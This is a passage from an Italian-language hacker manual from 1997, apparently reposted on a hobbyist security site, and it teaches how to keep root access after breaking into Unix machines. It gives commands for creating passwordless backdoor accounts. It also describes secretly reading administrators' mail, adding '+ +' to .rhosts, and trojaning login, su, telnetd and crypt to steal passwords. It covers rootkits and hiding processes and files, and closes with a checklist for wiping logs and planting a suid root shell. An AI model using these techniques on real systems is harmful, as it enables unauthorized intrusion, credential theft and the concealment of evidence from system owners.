1. Guarda le linee con operator, ftp e postmaster. Tutti questi account hanno

shell senza password. Dalla tua shell digita:

passwd postmaster

Setta l'account senza inserire la password semplicemente premendo enter. Adesso

sei in grado di entrare con questo account ogni volta che vuoi senza una

password

ed il file passwd rimarra' invariato senza destare sospetti.

2. Aggiungi questa linea al file delle password:

syst::13:12:system:/var/spool:/bin/bash

Puoi lasciare i :: o inserire una password che vuoi digitando dalla root shell

passwd syst. Metti il GID e l' UID che vuoi.

3. Osserva la linea sotto:

sync:*:5:0:sync:/sbin:/bin/sync

Cambiala in:

sync:*:5:0:sync:/sbin:/bin/bash

e quindi lancia <passwd sync> lasciando la password vuota. (o settala, non

importa) Su questo account noi siamo sempre GID=0 <G>rin

 

Essere sempre in agguato

------------------------

Sapere sempre chi e' l'amministratore di sistema; puoi trovarlo guardando il

file delle password (/etc/passwd in genere). Devi vedere la sua home, il suo

uid, i group access account, e leggere SEMPRE tutti i file di bush_history

nell'user directory per vedere chi sta usando i comandi da amministratore.

Puoi cosi' conoscere molti comandi nuovi dalla lettura degli history, ma tu

devi anche sapere chi c'e' nel sistema. Devi conoscere bene il tuo sistema.

Cerca gli utenti usando su: Guarda i log file per vedere chi sta usando i

comandi da amministratore.

Tieni sempre sotto controllo il sistema, tieni traccia di chi e' presente nel

sistema mentre sei dentro anche tu. Guarda l'history dell'admin per vedere

che comandi esegue: ttysnoops? Troppi comandi ps, w o who dimostrano che stanno

controllando cosa stanno facendo altri utenti nel sistema.

 

Leggere le mail di sistema

--------------------------

Ricorda di non usare MAI programmi di mail di sistema! Essi sono in grado di

dire che tu stai leggendo le loro mail. Io uso un insieme di accorgimenti:

1. cd /var/spool/mail

cosi' entrerai nella directory che contiene tutte le mail non lette. Adesso

puoi fare una cosa del genere:

grep -i security * |more

grep -i hack * |more

grep -i intruder * |more

grep -i passwd * |more

grep -i password * |more

 

Puoi anche cancellare messaggi se vedi che qualche altro amministratore dice

che qualcuno nel sistema dove sei sta hackando la sua macchina. Eh, la spia

non si fa ;).

Per trovare un mail reader che ti permette di leggere mail senza aggiornare i

puntatori, prova a:

http://obsidian.cse.fau.edu/~fc

Qui ci sono utility ceh riescono a fare il cat /var/spool/mail senza cambiare

la data dell'ultima lettura.

Ricorda inoltre che puoi trovare altre system mail nelle directory degli utenti

Assicurati di guardare nella directory /root. Guarda in /root/mail o

username/mail o in altre directory che contengono mail vecchie.

Buona caccia...

------------

Sezione 7B

Backdoors

------------

Creare una backdoors e' uno dei modi piu' semplici ed allo stesso modo piu'

sicuri

per mantenere l'accesso come root ad un sistema. Oltre a quelle gia' viste

proponiamo alcune idee che potrete facilmente realizzare.

Le backdoors forniscono due o tre funzion principali:

1. "Garantisce" l'accesso al sistema ancche se l'amministratore tenta di

renderlo

piu' sicuro, per esempio cambiando tutte le password.

2. "Garantisce" l'accesso alla macchina in modo meno visibile per

l'amministratore.

Alcune di esse possono renderti invisibile agli acchi di chi controlla il

sistema.

3. Fornisce l'accesso alla macchina in modo molto piu' veloce rispetto a quando

si e' provato a exploittarla.

Backdoors 1 : Cracking del file di password

Uno dei metodi piu' antichi per guadagnare un accesso in un sistema. Di questo

ne abbiamo parlato approfonditamente nel capitolo 2.

Backdoor 2 : Rhosts + +

Nelle macchine Unix, alcuni servizi come Rsh e Rlogin usano un semplice metodo

di identificazione basato sugli hostname che compaiono nel file .rhosts.

L'amministratore puo' scegliere quali macchine non necessitano di password per

collegarsi. Basta inserire nel file rhost la linea "+ +". In questo caso

chiunque si colleghi in remoto con quella macchina lo fa senza inserire la

password. Anche ogni utente possiede nella sua HOME un file .rhosts. Se si

riesce a modificarlo aggiungendo "+ +" si puo' fare un rlogin a quell'utente

ed entrare senza password!!

ATTENZIONE che molti amministratori controllano la presenza dei due + in tutti

gli .rhosts!!!!

Backdoor 3 : Checksum e Timestamp

Molti hackers rimpiazzano dei file di sistema con i propri cavalli di troia.

Altrettanti amministratori, per scoprire questo si affidano a dei programmi

che controllano il checksum e il time-stamp come il famoso sum di UNIX.

Come contromossa gli hacker hanno al loro volta costruito dei programmi che

ricreano il time-stamp originale ai trojan. Tutto questo mandando indietro

l'orologio di sistema all'ora del fle originale quindi modificando l'ora del

trojan all'ora di sistema. Una volta che il trojan ha l'ora dell'originale

il clock di sistema viene ripristinato.

Il programma sum si affida al controllo del CRC dei file ma spesso viene

spoofes. Noi hacker abbiamo sviluppato dei programmi che modificano i trojan

in modo da avere il checksum originale, facendo impazzire gli amministratori.

MD5 checksum si basa su un algoritmo che nessuno fin'ora e' stato in grado di

spoofare.

Backdoor 4 : Login

In UNIX il programma login e' quello che si occupa della identificazione e

controllo delle login e password quando ci si telnetta ad una macchina.

Gli hacker ricompliano il file login.c in modo che le login + password inserite

dagli utenti vengno loggate in un file in qualche directory. In questo modo

l'hacker legge questo file ed ha tutte le login e pwd pronte in un piatto

di argento. In questo modo ci si puo' loggare senza che l'amministratore noti

qualcosa di strano. Molti adm trovano queste backdoor con MD5.

Backdoor 5: Telnetd

Quando un utente si telnetta ad una macchina, il servizio inetd che ascolta

su quella porta riceve la connessione e la passa ad in.telnetd, esso esegue

molti controlli sull'utente come il tipo di terminale che sta usando.

Generalmente il terminale e' settato ad Xterm o VT100. L'hacker puo' fare in modo

che, per esempio, quando il terminale e' settato ad "letmain" in.telnetd

mandi una shell senza fare nessun controllo. Ovviamente per farlo e' necessario

modificare l' in.telnetd. Questo e' solo un esempio, i servizi disponibili

sono molti e si possono inventare altrettante backdoor

Backdoor 6: Librerie

La maggior parte dei sistemi Unix usano delle librerie condivise. Queste

librerie vengono utilizzate da piu' programmi in modo da non appesantirne il

codice di ogni singolo. Gli hackers modificano le routine come cript.c e

_crypt.c per avere dei vantaggi. Per esempio, programmi come login.c

usano la routie crypt(); si puo' modificare il codice in modo che se si inserisce

una certa password viene aperta una shell suid. cosi' anche se l'amministratore

utilizza MD5 sul programma login non notera' niente di irregolare. Raramente

gli adm controllano le librerie con MD5. Se dovesse capitare si puo' utilizzare

una piccola scorciatoia. E' possibile modificare le librerie di accesso ai

file come la open() in modo che venga letto il file originale ma venga

eseguita la versione trojan. In questo modo quando MD5 controlla un file

viene letto quello giusto ,cosi' il checksum e' corretto, ma viene eseguito

il trojan. Divertente no? Le librerie stesse non vengono intercettate.

Attenzione, pero', che alcuni adm compilano i programmi con link statici, in

modo da non utilizzare le librerie codivise.

Backdoor 7: File system

Come sappiamo quando si entra in un sistema abbiamo bisogno di una serie

di sniffer, log, exploit rootkit ecc. per continuare l'hacking. Ma qui

masce un problema... Come nascondere questi programmi all' amministratore?

Certo, perche' se li scopre... Quindi si puo' o modificare i comandi "ls", "du"

e "fsck" per nascondere l'esistenza dei nostri tool, oppure e' possibile

creare una sezione dell'hard disk marcata come bad sector. cosi' l'hacker

puo' accedervi solo con tool speciali, ma per l'amministratore e' difficile

individuare che sotto il marchio di bad sector si nasconde uno spazio

disponibile per noi...

 

Backdoor 8: Nacondere i processi

Un hacker, qualche volt, vuole nascondere i processi che fa giare. Generalmente

sono password cracker o sniffer.

Ci sono molti modi per farlo, per esempio:

Si puo' rinominare il nostro programma col nome di un servizio del SO come

in.syslog.

Quando l'amministratore digita un ps vedra' girare un programma standard.

Si puo' modificare il programma ps in modo che non visualizzi i nostri prg.

Si potrebbe anche modificare il kernel per evitare di far mostrare i nostri prg.

Insomma ci sono molti modi per nasconderli, basta un po' di fantasia...

 

--------------------------

Sezione 7C

Root & Demon Kit e Trojan

--------------------------

I Root Kits sono sorgenti C per ps, login, netstat ed altri programmi hackati

per te. Con questi kit sarai in grado di cambiare i login file nell'hacked box

in modo da poterti loggare senza un account nella macchina.

Sarai anche in grado di patchare il ps in modo da non essere individuato quando

un amministratore usa il comando ps. Con il ps patchato puoi anche non far

mostrare processi che hanno certi nomi, per esempio quelli che iniziano con

'sniff';)

I demon kit hanno programmi hackati per identd, login demon, ping, su, telnetd

e socket.

I Trojan sono tutti quei file che ti permettono di exploittare il sistema in

qualceh modo. Un trojan 'su' messo nella directory dell'amministratore si

eseguira' quando l'admin lo chiamera' per fare qualche operazione. Dopo che

egli inserira' la sua password, il trojan 'su' gli comunichera' che la password

inserita e' sbagliata e si autocancellera' dopo aver salvato la password nella

directory /tmp. A questo punto l'admin credera' di aver sbagliato a digitare

e riprovera'. Questa volta parte l'su vero e tutto procedera' normalmente.

Un trojan di login, invece, salvera' tutte le login e password in un file per

te.

 

********************************************

* Appendice I - Cosa fare dopo un accesso *

********************************************

Penso che in questo manuale abbiamo descritto la maggior parte delle cose che

bisogna fare dopo un accesso, nonosatante ridescriviamo i passi in una lista

dalla a alla z.

a. trova chi sono gli amministratori del sistema

b. analizza il sistema con ps -auxe e ps -auxef (se funziona) e pstree per

vedere cosa stanno facendo gli altri utenti

c. leggi tutti i file di bash history o tutti gli history file che riesci a

trovare sulla macchina per imparare di piu' sugli utenti.

d. crea delle backdoors nel sistema in modo da non essere scoperto

e. tieni l'accesso per te e non dare user password ad altre persone della

macchina dove sei root.

f. cancella sempre i tuoi utmp e wtmp quando ti connetti

g. cancella sempre i tuoi messaggi inclusi i tuoi xferlog

h. se hai l'accesso di root assicurati di lggere /etc/syslog.conf e

/etc/login.defs per vedere come il sistema e' loggato.

i. prima di cambiare file controlla il root cron per vedere cosa sta girando

j. cerca md5 sul sitsema

k. cerca ftp logs separati

l. assicurati di cancellare i www logs se hai spedito comandi phf al server

m. crea una suid root shell e mettila da qualche parte nel sistema

n. fai solo ci

che sei sicuro di saper fare

o. usa solo directory nidificate, non mettere file in user directory dove

basta fare un ls per vederli

p. non aggiungere user account e pensare che non ti scoprano

q. non usare pine o altri mail program per leggere le mail degli utenti. Se

vuoi leggere le mail vai nella directory mail e leggile da qui, le mail

nuove le troverai in /var/spool/mail

r. non cambiare il sistema in modo tale che altri programmi che girano non

funzionino piu'

s. non cancellare file dal sistema a meno che non gli hai messi tu.

t. non modificare le web page

u. non cambiare alcuna password del sistema (a meno che lo stai facendo per

accedere al sistema salvando il passwd e risostituendolo dopo che ti sei

collegato)

v. non usare il root account per accessi irc o per caricare un bot

w. se il tuo root account cambia o crei file che sono propritari di un group

sbagliato, assicurati di eseguire il chown dei file

x. non usare il .rhosts se ce n'e' gia' uno in uso

y. non telnettare o usare ftp dall'hacked box

z. non fottere la loro macchina! Fai cio' che sai fare.

****************************************************

* Appendice II - Siti Hacking / Security www / ftp *

****************************************************

IRC QuantumG #virus

Quantum's Linux Page

http://obsidian.me.fau.edu/~quantum

Buon sito per avere informazioni sugli exploits di unix

CyberToast's Files section

Qui troverai una buona sezione dedicata all H/C/P/V hex editors, scanners ecc.

www.ilf.net/~toast/files

Reptiles Realm

Buon sito per i linux exploits

www.users.interport.net/~reptile/linux

Sito ftp su IRC, BOTS, UNIX EXPLOITS, VIRUSES e ZINES!

http://ftp.giga.or.at/pub/hacker

Linux Security Digest

http://king.dom.de/~un/linux-security

Linux Security Alert

http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts

The Linux Security Home Page

http://www.ecst.csuchico.edu/~jtmurphy

Per trovare i siti basta fare una ricerca con Yahoo, Altavista e Astalavista

(astalavista.box.sk) con chiave hacking, hack, crack ...

 

 

 

 

CONCLUSIONI

Noi della IHS speriamo che questo manuale ti sia utile...Non pretendiamo che

questo phile ti faccia diventare un HACKER. Noi pero' pensiamo che questo sia

un buon inizio. Consigliamo di installarti linux sulla tua macchina e provare

ad entrarci. Oppure se conosci qualcuno che gestisce un sistema chiedigli

se ti fa fare degli esperimenti... Insomma rimboccati le maniche e prova, prova

e prova... solo cosi' sarai anche tu un vero HACKER.

by Italian Hacking Service, gruppo hacker in continua evoluzione.

@Copyleft IHS 1997

Questo documento puo' essere liberamente redistribuito. Se volete aggiungere

qualsiasi cosa inviatecela e noi provvederemo ad inserirla nella prossima versione.

Prossimi Articoli:

- Sniffer

- TCP Spoofing

- varie ed eventuali (eh eh eh)

 

Partner

pCwArE
ZeroDay
Il tuo sito qui..
Il tuo sito qui..
Il tuo sito qui..

>Diventa Partner

Newsletter

A breve la Newsletter!!
Community
Forum
Chat

Statistiche

[contatore visite]

Link

www.pcware.tk

www.hacklab.tk

TORNA ALLA HOMEPAGE

Security Check™ Designed By http://www.pcware.tk